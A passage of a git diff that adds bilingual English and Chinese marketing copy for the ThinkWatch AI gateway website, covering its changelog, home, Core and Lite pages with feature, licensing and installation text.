footnote: ["「计费 Token」和「MCP 工具调用」的定义、阶梯计费模型,以及到 GPL-2.0-or-later 的转换条款,详见 ", "LICENSING.md", "。"], - tiers: [ - { - name: "非生产环境", - price: "免费", - priceNote: "永久", - audience: "开发、预发、评估、内部演示。", - features: ["Token 不限量", "MCP 工具调用不限量", "全部网关功能", "全部安全功能", "社区支持"], - ctaLabel: "立即自托管", - }, - { - name: "生产环境 · 免费层", - price: "免费", - priceNote: "阈值内", - audience: "运行生产负载的小团队。", - features: ["每月最多 10,000,000 计费 Token", "每月最多 10,000 次 MCP 工具调用", "全部功能包含", "BSL 1.1 授权", "Change Date 后自动转为 GPL-2.0-or-later"], - ctaLabel: "阅读授权条款", - }, - { - name: "生产环境 · 商业", - price: "阶梯", - priceNote: "按用量", - audience: "超出免费阈值的组织。", - features: ["每 UTC 月超过 1000 万 Token 或 1 万次 MCP 调用", "需要商业授权", "按用量阶梯计费", "可选优先支持", "定制部署咨询"], - ctaLabel: "联系销售", - }, - ], - }, - - star: { - eyebrow: "社区", - title: "见证项目", - titleHighlight: "成长", - sub: "ThinkWatch 开放开发。Star 仓库以追踪发布动态并共同塑造路线图。", - cta: "在 GitHub 上 Star", - }, footer: { - tagline: "所有 AI 访问的唯一通行网关。每一次都被认证、授权、限流、记录、计费。", + tagline: "位于 AI 客户端与模型之间的网关。", product: "产品", resources: "资源", - copyright: "源码可获取,BSL 1.1 授权。", + licensing: "ThinkWatch 企业版采用 BSL 1.1 许可证。ThinkWatch Lite 与 ThinkWatch Core 采用 MIT 许可证。", + copyright: "", builtWith: "由 Astro 构建 · 部署于 GitHub Pages", }, + + notFound: { + title: "404:页面未找到 · ThinkWatch", + description: "所访问的页面不存在。", + headline: "页面不存在", + sub: "链接可能已失效,或页面已被移动。可通过以下链接访问网站的主要页面。", + home: "首页", + thinkwatch: "ThinkWatch 企业版", + lite: "ThinkWatch Lite", + core: "ThinkWatch Core", + docs: "文档", + linksLabel: "其他页面", + }, }, } as const; diff --git a/src/i18n/pages/changelog.ts b/src/i18n/pages/changelog.ts new file mode 100644 index 0000000..85f9753 --- /dev/null +++ b/src/i18n/pages/changelog.ts @@ -0,0 +1,61 @@ +// Copy for the /changelog page, which lists the releases of all three products. + +export const changelogCopy = { + en: { + meta: { + title: "ThinkWatch release notes · Changelog", + description: + "Release notes for each version of ThinkWatch Enterprise, ThinkWatch Lite and ThinkWatch Core, listed from newest to oldest.", + breadcrumbHome: "Home", + breadcrumbPage: "Changelog", + }, + eyebrow: "Changelog", + titleA: "ThinkWatch ", + titleHighlight: "release notes", + intro: + "Release notes for each version of ThinkWatch Enterprise, ThinkWatch Lite and ThinkWatch Core, listed from newest to oldest. Subscribe via ", + rss: "RSS", + introEnd: ".", + filterLabel: "Filter release notes by product", + all: "All", + filters: { enterprise: "Enterprise", lite: "Lite", core: "Core" }, + github: "GitHub", + githubFull: "View on GitHub", + linkTo: "Link to", + latest: "Latest releases", + readNotes: "Read the notes", + otherLanguageOnly: "These notes are in Chinese only", + dateLocale: "en-US", + /** A release's date under its month */ + dateFormat: { month: "short", day: "numeric" }, + fullDateFormat: { year: "numeric", month: "short", day: "numeric" }, + monthFormat: { year: "numeric", month: "long" }, + }, + "zh-CN": { + meta: { + title: "ThinkWatch 发布说明 · 更新日志", + description: "ThinkWatch 企业版、ThinkWatch Lite 与 ThinkWatch Core 各版本的发布说明,按时间倒序排列。", + breadcrumbHome: "首页", + breadcrumbPage: "更新日志", + }, + eyebrow: "更新日志", + titleA: "ThinkWatch ", + titleHighlight: "发布说明", + intro: "ThinkWatch 企业版、ThinkWatch Lite 与 ThinkWatch Core 各版本的发布说明,按时间倒序排列。可通过 ", + rss: "RSS", + introEnd: " 订阅。", + filterLabel: "按产品筛选发布说明", + all: "全部", + filters: { enterprise: "企业版", lite: "Lite", core: "Core" }, + github: "GitHub", + githubFull: "在 GitHub 上查看", + linkTo: "链接到", + latest: "最新版本", + readNotes: "查看说明", + otherLanguageOnly: "此版本的说明仅有英文", + dateLocale: "zh-CN", + dateFormat: { month: "long", day: "numeric" }, + fullDateFormat: { year: "numeric", month: "long", day: "numeric" }, + monthFormat: { year: "numeric", month: "long" }, + }, +} as const; diff --git a/src/i18n/pages/core.ts b/src/i18n/pages/core.ts new file mode 100644 index 0000000..f62ee83 --- /dev/null +++ b/src/i18n/pages/core.ts @@ -0,0 +1,258 @@ +// Copy for the /core page. Facts come from the ThinkWatch Core repository: the +// README and CONTRIBUTING (what the crates do, how releases are built), the +// workspace Cargo.toml and each crate's dependencies (the groups under "Crate +// layers"), docs/server.md and scripts/install.sh (server deployment), and from +// ThinkWatch Enterprise's Cargo.toml for the four crates it depends on. +// +// meta.twcoreDescription describes the twcore binary in the structured data +// (src/lib/structured-data.ts); the build fails without it. + +export const coreCopy = { + en: { + meta: { + title: "ThinkWatch Core — AI API gateway engine in Rust", + description: + "Rust crates and the twcore binary for an AI API gateway: routing rules, failover, cost accounting and key redaction, in ThinkWatch Lite or on a server.", + twcoreDescription: + "Self-contained AI API gateway binary: the local engine of ThinkWatch Lite, or a standalone gateway run by systemd on a Linux server.", + }, + hero: { + eyebrow: "ThinkWatch Core · Gateway engine", + titleA: "An AI API gateway engine ", + titleHighlight: "for desktops and servers", + sub: "MIT-licensed Rust crates and the twcore binary. twcore is the gateway inside ThinkWatch Lite, and runs on its own as a systemd service on a Linux server, managed from ThinkWatch Lite over an encrypted control channel. ThinkWatch Enterprise uses its format-conversion, guard, circuit-breaker and Bedrock crates.", + ctaInstall: "Install twcore", + ctaDocs: "Core documentation", + ctaGithub: "View on GitHub", + cardTitle: "twcore · the gateway binary", + commands: [ + { cmd: "twcore init", note: "# write an initial config.yaml and its keys" }, + { cmd: "twcore check", note: "# validate the configuration without starting" }, + { cmd: "twcore serve", note: "# start the gateway and the control plane" }, + ], + }, + motion: { + announce: (v: string) => `Core ${v} released`, + doesTitle: "One binary, ", + doesTitleDim: "the whole gateway.", + sample: "Sample", + }, + does: { + eyebrow: "Capabilities", + items: [ + { + title: "Rule-based routing", + body: "Rules match on the model, the gateway key, the input size, tools, images and other properties of a request, and send it to an upstream or a group, rewrite its parameters or refuse it. When the client and the upstream use different API formats, the request is converted between Anthropic Messages, OpenAI Chat Completions, OpenAI Responses and Gemini.", + }, + { + title: "Failover before the first byte", + body: "Until the first byte reaches the client, a failing upstream is replaced by the next one without the client noticing; after that point, the failure is reported. A failing upstream is paused for as long as its reason calls for: an exhausted balance, a used-up quota until its reset, a rate limit for the wait it asks.", + }, + { + title: "Cost accounting", + body: "Each request is priced from a public price table, which twcore refreshes daily, or from a price sheet in the configuration, and records where its price came from. Estimated amounts are marked as such, and usage that cannot be priced is labelled unknown.", + }, + { + title: "Outbound redaction", + body: "A relay sees every request in full. Credentials in a request can be replaced with placeholders before it leaves, so the relay never holds the real values, and are restored where the answer repeats them.", + }, + { + title: "Malicious tool calls cut off", + body: "A relay can rewrite an answer and slip in a tool call for the client to run; a call that downloads and runs code, sends out credentials or does something similar can be cut off mid-stream. A content filter can also delete hidden characters that smuggle in instructions, and all three guards start by only recording.", + }, + { + title: "Encrypted control plane", + body: "The desktop app and twcore commands reach core over a local socket, a loopback port on Windows, and an optional remote port. Every control connection starts with a Noise handshake keyed by the control key; no certificates are involved.", + }, + ], + }, + install: { + eyebrow: "Install and deploy", + title: "Server deployment", + body: [ + "On Linux on x86_64 or aarch64, with glibc 2.35 or newer and systemd, one command installs twcore, a service user and the systemd unit. ThinkWatch Lite on macOS, Windows or Linux then connects to it through the remote control port, and clients anywhere on the network send their requests to its gateway.", + "On a desktop, twcore comes with ThinkWatch Lite and is not installed separately.", + ], + guide: "Server deployment guide", + reference: "Configuration reference", + scriptLabel: "Install on a Linux server", + pinNote: "The server has to run the core version that ThinkWatch Lite requires; the app shows that version when the two differ. To install it:", + /** Placeholder for the version number in the command that installs a particular version */ + versionPlaceholder: "", + nextLabel: "Then", + next: [ + { cmd: "twcore remote enable --allow 192.168.1.0/24", note: "# open the remote control port to a network" }, + { cmd: "sudo systemctl enable --now twcore", note: "# start the service" }, + { cmd: "twcore control-key", note: "# print the key ThinkWatch Lite connects with" }, + { cmd: "sudo twcore upgrade --version --restart", note: "# later: move to the version ThinkWatch Lite requires, newer or older" }, + ], + serviceUser: "Commands that read the configuration run as the service user; the guide describes each step.", + binariesTitle: "Prebuilt binaries", + binariesBody: + "Every release carries twcore for five targets, each with a SHA-256 file; the Linux archives add the systemd unit. twcore upgrade replaces a standalone installation, while the copy inside ThinkWatch Lite is updated with the app.", + platforms: { + mac: "macOS · Apple silicon", + winX64: "Windows · x64", + winArm: "Windows · ARM64", + linuxX64: "Linux · x86_64", + linuxArm: "Linux · aarch64", + }, + releases: "All releases", + version: "Version", + sourceTitle: "Build from source", + sourceBody: "With a stable Rust toolchain, 1.94.1 or newer. The binary is written to target/release/twcore.", + }, + layers: { + eyebrow: "Crate layers", + /** mark "shared": the group ThinkWatch Enterprise depends on; "local": the single-machine implementation */ + sharedTag: "Also used by ThinkWatch Enterprise", + localNote: "Single-machine implementation", + rows: [ + { name: "Conversion, guards, circuit breaker and Bedrock", crates: "tw-dialect · tw-guard · tw-breaker · tw-bedrock", mark: "shared" }, + { name: "Domain logic", crates: "tw-types · tw-engine · tw-pricing · tw-yaml · tw-secret · tw-watch", mark: null }, + { name: "Control-plane contract", crates: "tw-api · tw-link", mark: null }, + { name: "Assembly", crates: "tw-config · tw-store · tw-observe", mark: "local" }, + { name: "Data plane and control plane", crates: "tw-gateway · tw-control", mark: "local" }, + ], + footnote: + "ThinkWatch Enterprise depends on the first group and nothing else. Those four crates depend only on each other, which a test enforces, and CI builds ThinkWatch Enterprise against every change to them. No crate depends on a group below its own. The last two groups are the single-machine implementation (SQLite, the local control channel and the optional remote port) and are intentionally not shared: single-machine SQLite and multi-tenant Postgres differ too much for one abstraction to serve both.", + docs: "Crate layers in detail", + }, + dev: { + eyebrow: "Development", + title: "Testing", + body: "The smoke script exercises every path on the real binary from a clean state and reaches the control plane through twcore call. HOME and THINKWATCH_HOME point to a temporary directory that is deleted on completion.", + commands: [ + { cmd: "cargo test --workspace", note: "# unit and integration tests" }, + { cmd: "scripts/smoke.sh", note: "# every path on the real binary" }, + ], + }, + license: { + title: "MIT License", + body: "Building on, embedding, and redistributing the crates are permitted.", + link: "View on GitHub", + }, + }, + "zh-CN": { + meta: { + title: "ThinkWatch Core — 以 Rust 编写的 AI API 网关引擎", + description: + "AI API 网关的 Rust crate 与 twcore:规则路由、故障转移、费用核算与密钥脱敏,用于 ThinkWatch Lite 或服务器。", + twcoreDescription: "独立运行的 AI API 网关二进制:ThinkWatch Lite 的本地引擎,也可由 systemd 在 Linux 服务器上作为独立网关运行。", + }, + hero: { + eyebrow: "ThinkWatch Core · 网关引擎", + titleA: "适用于桌面与服务器的 ", + titleHighlight: "AI API 网关引擎", + sub: "采用 MIT 许可证的 Rust crate 与 twcore 二进制。twcore 是 ThinkWatch Lite 内置的网关,也可以作为 systemd 服务独立运行在 Linux 服务器上,由 ThinkWatch Lite 通过加密的控制通道远程管理。ThinkWatch 企业版使用其中的格式转换、防护、熔断与 Bedrock crate。", + ctaInstall: "安装 twcore", + ctaDocs: "Core 文档", + ctaGithub: "在 GitHub 上查看", + cardTitle: "twcore · 网关二进制", + commands: [ + { cmd: "twcore init", note: "# 生成初始的 config.yaml 及其密钥" }, + { cmd: "twcore check", note: "# 仅校验配置,不启动" }, + { cmd: "twcore serve", note: "# 启动网关与控制面" }, + ], + }, + motion: { + announce: (v: string) => `Core ${v} 已发布`, + doesTitle: "一个二进制,", + doesTitleDim: "就是完整的网关。", + sample: "示例", + }, + does: { + eyebrow: "功能", + items: [ + { + title: "按规则路由", + body: "规则按模型、网关密钥、输入规模、是否携带工具或图片等请求属性匹配,将请求发往某个上游或策略组、改写其参数,或拒绝请求。客户端与上游的接口格式不同时,请求在 Anthropic Messages、OpenAI Chat Completions、OpenAI Responses 与 Gemini 之间转换。", + }, + { + title: "首字节前的故障转移", + body: "首字节到达客户端之前,出错的上游由下一个上游替换,客户端无从察觉;此后发生的故障如实报告。出错的上游按原因暂停:余额不足、额度用完(到重置时间为止)与限流(按上游要求的等待时间)各有时长。", + }, + { + title: "费用核算", + body: "每个请求按公开价目表(twcore 每天刷新一次)或配置中的价目表计价,并记录价格来源。估算的金额另行标注,无法计价的用量标记为未知。", + }, + { + title: "出站脱敏", + body: "中转站能看到请求的全部内容。请求发出之前,其中的凭据可以替换为占位符,中转站拿不到原值;回答中重复出现时再恢复原值。", + }, + { + title: "切断恶意工具调用", + body: "中转站可以改写回答,塞入让客户端执行的工具调用;下载即执行、外发凭据之类的危险调用可在流式传输中途切断。内容过滤还可删除夹带指令的隐藏字符,三项防护出厂均只记录。", + }, + { + title: "加密的控制面", + body: "桌面应用与 twcore 命令通过本地 socket(Windows 上为回环端口)连接 core,也可以开启远程端口。每条控制连接都先以控制密钥完成 Noise 握手,不使用证书。", + }, + ], + }, + install: { + eyebrow: "安装与部署", + title: "服务器部署", + body: [ + "在 x86_64 或 aarch64 的 Linux 上(glibc 2.35 或更新,使用 systemd),一条命令即可安装 twcore、专用的服务用户与 systemd 服务单元。此后 macOS、Windows 或 Linux 上的 ThinkWatch Lite 通过远程控制端口连接它,网络中各处的客户端把请求发往它的网关。", + "在桌面上,twcore 随 ThinkWatch Lite 提供,无需单独安装。", + ], + guide: "服务器部署指南", + reference: "配置手册", + scriptLabel: "在 Linux 服务器上安装", + pinNote: "服务器上运行的 core 须为 ThinkWatch Lite 要求的版本;两者不一致时,应用会显示所需的版本。安装该版本:", + versionPlaceholder: "<版本号>", + nextLabel: "随后", + next: [ + { cmd: "twcore remote enable --allow 192.168.1.0/24", note: "# 向指定网段开放远程控制端口" }, + { cmd: "sudo systemctl enable --now twcore", note: "# 启动服务" }, + { cmd: "twcore control-key", note: "# 输出 ThinkWatch Lite 连接所用的密钥" }, + { cmd: "sudo twcore upgrade --version <版本号> --restart", note: "# 日后切换到 ThinkWatch Lite 要求的版本,升级或降级均可" }, + ], + serviceUser: "读取配置的命令须以服务用户身份运行,各步骤详见部署指南。", + binariesTitle: "预编译二进制", + binariesBody: + "每个发布版本都提供以下五个平台的 twcore,各附 SHA-256 校验文件;Linux 压缩包另含 systemd 服务单元。twcore upgrade 用于升级单独安装的 twcore,ThinkWatch Lite 内置的那一份随应用更新。", + platforms: { + mac: "macOS · Apple silicon", + winX64: "Windows · x64", + winArm: "Windows · ARM64", + linuxX64: "Linux · x86_64", + linuxArm: "Linux · aarch64", + }, + releases: "全部发布版本", + version: "版本", + sourceTitle: "从源码构建", + sourceBody: "需要 Rust 稳定版工具链(1.94.1 或更新)。生成的二进制位于 target/release/twcore。", + }, + layers: { + eyebrow: "crate 分层", + sharedTag: "ThinkWatch 企业版同样使用", + localNote: "单机实现", + rows: [ + { name: "格式转换、防护、熔断与 Bedrock", crates: "tw-dialect · tw-guard · tw-breaker · tw-bedrock", mark: "shared" }, + { name: "领域逻辑", crates: "tw-types · tw-engine · tw-pricing · tw-yaml · tw-secret · tw-watch", mark: null }, + { name: "控制面契约", crates: "tw-api · tw-link", mark: null }, + { name: "装配", crates: "tw-config · tw-store · tw-observe", mark: "local" }, + { name: "数据面与控制面", crates: "tw-gateway · tw-control", mark: "local" }, + ], + footnote: + "ThinkWatch 企业版只依赖第一组。这四个 crate 只依赖彼此,由一项测试保证;每次改动它们,CI 都会用 ThinkWatch 企业版编译一遍。任何 crate 都不依赖排在其所在组下方的组。最后两组是单机实现(SQLite、本地控制通道与可选的远程端口),有意不共享:单机 SQLite 与多租户 Postgres 差异过大,统一的抽象难以同时满足两者。", + docs: "crate 分层详解", + }, + dev: { + eyebrow: "开发", + title: "测试", + body: "smoke 脚本从初始状态出发,在真实二进制上覆盖每条路径,并通过 twcore call 访问控制面。HOME 与 THINKWATCH_HOME 均指向临时目录,执行结束后自动删除。", + commands: [ + { cmd: "cargo test --workspace", note: "# 单元与集成测试" }, + { cmd: "scripts/smoke.sh", note: "# 在真实二进制上覆盖每条路径" }, + ], + }, + license: { + title: "MIT 许可证", + body: "允许在其基础上构建、嵌入并再分发。", + link: "在 GitHub 上查看", + }, + }, +} as const; diff --git a/src/i18n/pages/home.ts b/src/i18n/pages/home.ts new file mode 100644 index 0000000..b7d1fc1 --- /dev/null +++ b/src/i18n/pages/home.ts @@ -0,0 +1,261 @@ +// Copy for the home page. The home page introduces both products, so it has +// its own dictionary instead of growing the shared one in ../index.ts. + +export const homeCopy = { + en: { + meta: { + title: "ThinkWatch — AI Gateways for Organizations and Individual Developers", + description: + "AI gateways that route, inspect and meter model requests and MCP tool calls: ThinkWatch Enterprise for organizations, ThinkWatch Lite for developers.", + }, + announce: (lite: string | null, ent: string | null) => + [ent && `Enterprise ${ent}`, lite && `Lite ${lite}`].filter(Boolean).join(" and ") + " released", + wallLabel: "Works with the clients and SDKs teams already use", + eyebrow: "AI API and MCP gateways", + h1a: "AI gateways for", + h1b: "organizations and individual developers", + sub: "ThinkWatch routes, inspects, and meters model requests and MCP tool calls. It is available as a self-hosted server for organizations and as a desktop application for individual developers.", + doors: { + teams: { label: "For organizations", name: "ThinkWatch Enterprise", text: "Self-hosted AI API and MCP gateway.", cta: "Deploy ThinkWatch" }, + machine: { label: "For individual developers", name: "ThinkWatch Lite", text: "A local gateway for Claude Code, Codex and other AI clients, on macOS, Windows and Linux.", cta: "Install Lite" }, + }, + trace: { + tag: "Sample trace", + note: "Bracketed values are illustrative.", + client: ["client", "Claude Code"], + rule: ["rule", "[rule name] · [policy group]"], + hop1: ["hop 1", "[upstream A]", "[error status]", "retried"], + hop2: ["hop 2", "[upstream B]", "[ok status]", "streamed"], + cost: ["cost", "measured [amount] · prices as of [date]"], + redaction: ["redaction", "[n] secrets replaced before sending"], + tool: ["tool call", "[shell command] · flagged"], + }, + worksWith: "Compatible with", + how: { + eyebrow: "Architecture", + title: "How ThinkWatch works", + allowed: "Allowed and routed", + held: "Held at the gateway", + clients: "AI clients", + models: "Models and tools", + agents: "Custom agents", + mcp: "MCP servers", + core: "routing · inspection · metering", + stackedCore: "Routing, inspection, and metering", + }, + questions: { + eyebrow: "Visibility into every request", + items: [ + { tag: "01 · rule, hops", title: "Routing and failover", body: "The matched rule, the upstream that served the request, and each retry or failover along the way." }, + { tag: "02 · cost", title: "Cost accounting", body: "Tokens are priced per model. Usage without a known price is reported as unknown." }, + { tag: "03 · redaction, tool calls", title: "Outbound data inspection", body: "Secrets are redacted before requests reach an upstream, and high-risk tool calls are flagged." }, + ], + }, + tw: { + eyebrow: "ThinkWatch Enterprise · For organizations", + title: "An AI bastion host for organizations", + sub: "Authentication, authorization, rate limiting, audit logging, and cost accounting for every model request, tool call, and token.", + cta: "Explore ThinkWatch", + features: [ + { t: "AI API gateway", b: "OpenAI, Anthropic, Gemini, Azure OpenAI, and Bedrock behind one endpoint, with scoped virtual keys." }, + { t: "MCP gateway with per-user identity", b: "Per-user OAuth and tokens, tool-level RBAC, and an audit log for every call." }, + { t: "SSO and RBAC", b: "Five roles and support for any OIDC provider." }, + { t: "Audit logs, rate limits, and budgets", b: "Sliding-window request and token limits and spending budgets per user, API key or role." }, + ], + stepsLabel: "Inside a ThinkWatch request", + steps: [ + { t: "Authenticate", b: "Scoped tw- key validated" }, + { t: "Authorize", b: "Role checked for model and tool" }, + { t: "Rate-limit", b: "Windows and budgets enforced" }, + { t: "Route and convert", b: "Provider picked, format converted" }, + { t: "Stream and meter", b: "Tokens counted as they stream" }, + { t: "Audit", b: "Logged and forwardable to a SIEM" }, + ], + consoleLabel: "Console preview", + sample: "Sample data", + quoteLabel: "Per-user identity for MCP", + quoteA: "Upstream services receive the ", + quoteEm: "calling user's identity", + quoteB: " instead of a shared service account.", + quoteBody: "Each MCP call carries the calling user's OAuth token or personal access token, so services such as GitHub, Linear, and Notion can attribute each action to the user on whose behalf it was performed.", + }, + lite: { + eyebrow: "ThinkWatch Lite · For individual developers", + title: "A local gateway for Claude Code, Codex and other AI clients", + points: [ + { t: "Connect once, switch freely", b: "Each client is pointed at the gateway once; upstreams and models then change in the gateway, with no client to reconfigure or restart." }, + { t: "Protection against relays", b: "Credentials can be replaced before a request leaves, so a relay never holds them, and dangerous tool calls a relay slips into an answer can be cut off before the client runs them. MCP servers, skills and hooks are scanned as well." }, + { t: "Every request traceable", b: "The matched rule, each upstream attempt and the cost of every request, with replay against another upstream." }, + { t: "Costs stated as they are", b: "Estimated amounts are marked, and requests without a price are counted separately rather than as zero." }, + { t: "Plugins that adapt requests and answers", b: "Short JavaScript plugins adjust requests and answers, such as asking for answers in a chosen language. They run in a sandbox, see placeholders instead of keys, and every change they make is recorded." }, + ], + pills: ["Available", "macOS (Apple silicon)", "Windows (x64, ARM64)", "Linux (x86_64, aarch64)"], + shotAlt: + "The Overview page for the last 7 days: notices that 11 requests failed, a suspicious tool call was cut off and 13 requests are unpriced; cards for 87.5M tokens, a cost of at least about $71.89, 92% cache hits, 1,400 requests, a 1.26 s median first token and 310 MB of traffic, each with the change against the prior 7 days and a chart or breakdown; and the statistics by model below", + cta: "Explore ThinkWatch Lite", + }, + core: { + a: "ThinkWatch Enterprise and ThinkWatch Lite share ", + name: "ThinkWatch Core", + b: ", MIT-licensed Rust crates and the twcore gateway binary. Lite runs the complete engine; Enterprise uses its format-conversion, guard and circuit-breaker crates. twcore also runs on its own on a Linux server, managed from ThinkWatch Lite.", + commandLabel: "Install twcore on a Linux server", + docs: "Server deployment guide", + }, + compare: { + eyebrow: "Compare editions", + rows: { + runsAs: "runs as", + builtFor: "built for", + status: "status", + license: "license", + }, + thinkwatch: { + runsAs: "Self-hosted server and web console, Docker Compose or Kubernetes", + builtFor: "Teams and enterprises", + status: "Released", + license: "BSL 1.1, free in production up to 10,000,000 billable tokens and 10,000 MCP tool calls per month", + }, + lite: { + runsAs: "Desktop app in the macOS menu bar, the Windows notification area or the Linux system tray", + builtFor: "Individual developers", + status: "Available for macOS on Apple silicon (Homebrew or disk image), Windows on x64 or ARM64 (installer or portable zip) and Linux on x86_64 or aarch64 (AppImage)", + license: "MIT", + }, + core: { + runsAs: "Rust crates and the twcore binary, inside ThinkWatch Lite or as a systemd service on a Linux server", + builtFor: "Developers who build on the engine or run the gateway on a server", + status: "Released, with prebuilt binaries for macOS, Windows and Linux and a one-command install for Linux servers", + license: "MIT", + }, + link: "Full licensing details", + }, + }, + "zh-CN": { + meta: { + title: "ThinkWatch — 面向组织与个人开发者的 AI 网关", + description: + "对模型请求与 MCP 工具调用进行路由、检查和计量的 AI 网关:面向组织的 ThinkWatch 企业版,面向个人开发者的 ThinkWatch Lite。", + }, + announce: (lite: string | null, ent: string | null) => + [ent && `企业版 ${ent}`, lite && `Lite ${lite}`].filter(Boolean).join(" 与 ") + " 已发布", + wallLabel: "兼容团队已在使用的客户端与 SDK", + eyebrow: "AI API 与 MCP 网关", + h1a: "面向组织与个人开发者的", + h1b: "AI 网关", + sub: "ThinkWatch 对模型请求与 MCP 工具调用进行路由、检查与计量,提供面向组织的自托管服务端,以及面向个人开发者的桌面应用。", + doors: { + teams: { label: "面向组织", name: "ThinkWatch 企业版", text: "自托管的 AI API 与 MCP 网关。", cta: "部署 ThinkWatch" }, + machine: { label: "面向个人开发者", name: "ThinkWatch Lite", text: "Claude Code、Codex 等 AI 客户端的本地网关,支持 macOS、Windows 与 Linux。", cta: "安装 Lite" }, + }, + trace: { + tag: "示例追踪", + note: "方括号中的值仅作示意。", + client: ["客户端", "Claude Code"], + rule: ["规则", "[规则名] · [策略组]"], + hop1: ["第 1 跳", "[上游 A]", "[错误状态]", "已重试"], + hop2: ["第 2 跳", "[上游 B]", "[成功状态]", "流式返回"], + cost: ["成本", "实测 [金额] · 价目表日期 [日期]"], + redaction: ["脱敏", "发送前已替换 [n] 个密钥"], + tool: ["工具调用", "[shell 命令] · 已标记"], + }, + worksWith: "兼容", + how: { + eyebrow: "架构", + title: "工作原理", + allowed: "放行并路由", + held: "在网关处拦截", + clients: "AI 客户端", + models: "模型与工具", + agents: "自建 Agent", + mcp: "MCP 服务器", + core: "路由 · 检查 · 计量", + stackedCore: "路由、检查与计量", + }, + questions: { + eyebrow: "请求全链路可见", + items: [ + { tag: "01 · 规则与链路", title: "路由与故障转移", body: "记录匹配的规则、实际到达的上游,以及过程中的每一次重试与故障转移。" }, + { tag: "02 · 成本", title: "成本核算", body: "按模型对 token 计价;无法确定价格的用量标记为未知。" }, + { tag: "03 · 脱敏与工具调用", title: "出站数据检查", body: "请求到达上游前对密钥进行脱敏,并标记高风险的工具调用。" }, + ], + }, + tw: { + eyebrow: "ThinkWatch 企业版 · 面向组织", + title: "面向组织的 AI 堡垒机", + sub: "对每一次模型请求、工具调用及每一个 token 进行认证、授权、限流、日志记录与成本核算。", + cta: "了解 ThinkWatch", + features: [ + { t: "AI API 网关", b: "OpenAI、Anthropic、Gemini、Azure OpenAI 和 Bedrock 通过统一入口接入,并支持限定范围的虚拟密钥。" }, + { t: "基于用户身份的 MCP 网关", b: "每位用户使用本人的 OAuth 凭据,支持工具级 RBAC,每次调用均记录审计日志。" }, + { t: "SSO 与 RBAC", b: "五级角色,支持任意 OIDC 身份提供方。" }, + { t: "审计、限流与预算", b: "按用户、API 密钥或角色设置滑动窗口限流与费用预算。" }, + ], + stepsLabel: "一次 ThinkWatch 请求的内部", + steps: [ + { t: "身份认证", b: "校验限定范围的 tw- 密钥" }, + { t: "权限授权", b: "按角色检查模型与工具" }, + { t: "限流", b: "窗口限流与预算生效" }, + { t: "路由与转换", b: "选定上游并转换格式" }, + { t: "流式转发与计量", b: "流式传输时实时计数 token" }, + { t: "审计", b: "写入日志,可转发至 SIEM" }, + ], + consoleLabel: "控制台预览", + sample: "示例数据", + quoteLabel: "MCP 按用户身份访问", + quoteA: "上游服务获得的是", + quoteEm: "调用者本人的身份", + quoteB: ",而非共享服务账号。", + quoteBody: "每一次 MCP 调用均携带调用者本人的 OAuth token 或个人访问令牌,GitHub、Linear、Notion 等上游服务可据此确认每项操作由谁执行、代表谁执行。", + }, + lite: { + eyebrow: "ThinkWatch Lite · 面向个人开发者", + title: "Claude Code、Codex 等 AI 客户端的本地网关", + points: [ + { t: "一次接入,随时切换", b: "客户端只需接入一次,此后在网关中更换上游与模型,客户端无需改配置或重启。" }, + { t: "防范中转站", b: "请求发出前可替换其中的凭据,中转站拿不到原值;中转站在回答中塞入的危险工具调用,可在客户端执行前切断。MCP 服务器、技能与钩子也会被扫描。" }, + { t: "每个请求都可追溯", b: "每个请求命中的规则、尝试过的上游与费用都有记录,也可以重放到另一个上游对比。" }, + { t: "费用如实计算", b: "估算的金额单独标注,无法计价的请求单独计数,不按零计入。" }, + { t: "插件改写请求与回答", b: "简短的 JavaScript 插件可以调整请求与回答,例如要求用指定的语言回答。插件在沙箱中运行,看到的是占位符而不是密钥,每一处改动都有记录。" }, + ], + pills: ["已发布", "macOS(Apple silicon)", "Windows(x64、ARM64)", "Linux(x86_64、aarch64)"], + shotAlt: + "概览页(最近 7 天):提示 11 次请求失败、切断了 1 个可疑工具调用、13 条请求无法计价;token 87.5M、费用不低于约 $71.89、缓存命中 92%、请求 1,400 次、首 token 中位数 1.26 秒、流量 310 MB 六张卡片,各带与上一个 7 天的对比和趋势图或构成;下方是按模型的统计", + cta: "了解 ThinkWatch Lite", + }, + core: { + a: "ThinkWatch 企业版与 ThinkWatch Lite 共用 ", + name: "ThinkWatch Core", + b: ":一组采用 MIT 许可证的 Rust crate 与 twcore 网关二进制。Lite 运行完整的引擎,企业版使用其中的格式转换、防护与熔断 crate。twcore 也可以独立运行在 Linux 服务器上,由 ThinkWatch Lite 远程管理。", + commandLabel: "在 Linux 服务器上安装 twcore", + docs: "服务器部署指南", + }, + compare: { + eyebrow: "产品对比", + rows: { + runsAs: "运行形态", + builtFor: "适用对象", + status: "状态", + license: "许可证", + }, + thinkwatch: { + runsAs: "自托管服务端与 Web 控制台,Docker Compose 或 Kubernetes", + builtFor: "团队与企业", + status: "已发布", + license: "BSL 1.1,生产环境每月不超过 10,000,000 计费 token 且不超过 10,000 次 MCP 工具调用时免费", + }, + lite: { + runsAs: "桌面应用,常驻 macOS 菜单栏、Windows 通知区域或 Linux 系统托盘", + builtFor: "个人开发者", + status: "已发布:macOS(Apple silicon)用 Homebrew 或磁盘映像安装,Windows(x64、ARM64)用安装程序或绿色版,Linux(x86_64、aarch64)用 AppImage", + license: "MIT", + }, + core: { + runsAs: "Rust crate 与 twcore 二进制,随 ThinkWatch Lite 运行,或作为 systemd 服务运行在 Linux 服务器上", + builtFor: "基于该引擎开发,或在服务器上运行网关的开发者", + status: "已发布,提供 macOS、Windows 与 Linux 的预编译二进制,Linux 服务器可一条命令安装", + license: "MIT", + }, + link: "查看完整许可证说明", + }, + }, +} as const; diff --git a/src/i18n/pages/lite.ts b/src/i18n/pages/lite.ts new file mode 100644 index 0000000..4ac2c42 --- /dev/null +++ b/src/i18n/pages/lite.ts @@ -0,0 +1,516 @@ +// Copy for the /lite product page. +// +// Product claims are checked against the code, not against other copy: the +// three protections and their initial modes against ThinkWatch Core +// (crates/tw-guard/src/policy.rs), which notices become system +// notifications against the app (src-tauri/src/notices/rules.rs), and what +// changes while the app is connected to a remote core against src/connection. +// +// Screenshots come from the ThinkWatch Lite repository (`pnpm shots`, output in +// docs/screenshots/web), copied into public/lite under the same names. Each +// alt text describes the image it belongs to; when an image is replaced, its +// alt text changes with it. + +const overviewAlt = { + en: "The Overview page for the last 7 days: notices that 11 requests failed, a suspicious tool call was cut off and 13 requests are unpriced; cards for 87.5M tokens, a cost of at least about $71.89, 92% cache hits, 1,400 requests, a 1.26 s median first token and 310 MB of traffic, each with the change against the prior 7 